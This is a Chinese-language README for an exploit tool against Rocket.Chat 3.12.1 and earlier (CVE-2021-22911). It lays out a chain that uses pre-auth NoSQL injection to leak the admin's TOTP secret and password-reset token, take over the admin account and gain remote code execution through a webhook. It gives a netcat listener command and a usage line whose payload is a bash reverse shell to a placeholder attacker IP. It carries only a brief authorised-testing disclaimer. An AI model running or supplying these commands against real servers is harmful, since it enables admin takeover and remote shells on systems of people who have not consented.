CVE-2021-22911 — Rocket.Chat 3.12.1 RCE（临时编写）

描述

利用 Rocket.Chat 3.12.1 中的预认证 NoSQL 注入漏洞，泄露管理员的 TOTP 密钥和密码重置令牌，接管管理员账户，并通过恶意 webhook 集成实现 RCE。

受影响版本

Rocket.Chat <= 3.12.1

环境要求

pip install -r requirements.txt

设置 - 先启动监听器

运行漏洞利用脚本之前，请在另一个终端中启动 netcat 监听器，以接收传入的反弹 shell：

nc -lvnp 4444

保持此终端打开。漏洞利用成功运行后，你的 shell 将出现在此处。

使用方法

python3 pwn_rocketchat.py \
  -t 'http://TARGET:3000' \
  -u 'USERNAME' \
  -p 'PASSWORD' \
  -e '[email protected]' \
  -a 'adminusername' \
  -c '/bin/bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'

参数

工作原理

1. 以低权限用户身份通过 DDP 协议进行身份验证
2. 通过 NoSQL $where 注入泄露管理员 TOTP 密钥
3. 触发管理员密码重置邮件
4. 通过 NoSQL $where 注入泄露管理员密码重置令牌
5. 利用泄露的 TOTP 密钥绕过 2FA 重置管理员密码
6. 创建恶意 webhook 集成并触发 RCE

免责声明

本工具仅用于教育目的和经授权的渗透测试。作者不对因使用本工具而造成的任何滥用或损害负责。测试前请务必获得正式的书面授权。

参考资料

• https://nvd.nist.gov/vuln/detail/CVE-2021-22911